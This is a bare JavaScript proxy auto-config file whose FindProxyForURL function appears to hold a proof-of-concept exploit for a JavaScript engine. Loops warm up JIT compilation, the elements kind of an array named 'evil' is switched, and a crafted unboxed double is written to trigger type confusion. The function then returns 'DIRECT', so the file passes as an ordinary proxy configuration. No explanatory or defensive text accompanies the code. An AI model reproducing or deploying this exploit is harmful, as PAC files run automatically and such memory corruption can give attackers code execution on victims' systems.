| function FindProxyForURL(url, host){ |
| for(var i = 0;i<0x10000;i++){ |
| change_elements_kind(x); |
| } |
| |
| for(var i = 0;i<0x10000;i++){ |
| write_as_unboxed(); |
| } |
| |
| change_elements_kind(evil); |
| |
| write_as_unboxed(); |
| |
| try{ |
| evil[0].x; |
| }catch(e){ |
| } |
| return "DIRECT"; |
| } |
| |
| function change_elements_kind(a){ |
| a[0] = Array; |
| } |
| function read_as_unboxed(){ |
| return evil[0]; |
| } |
| |
| function write_as_unboxed(){ |
| evil[0] = 2.37341197482723178190425716704E-308; //0x00111111 00111111 |
| } |
| |
| change_elements_kind({}); |
| |
| var map_manipulator = new Array(1.0,2.3); |
| map_manipulator.x = 7; |
| change_elements_kind(map_manipulator); |
| |
| map_manipulator.x = {}; |
| |
| var evil = new Array(1.1,2.2); |
| evil.x = {}; |
| |
| var x = new Array({}); |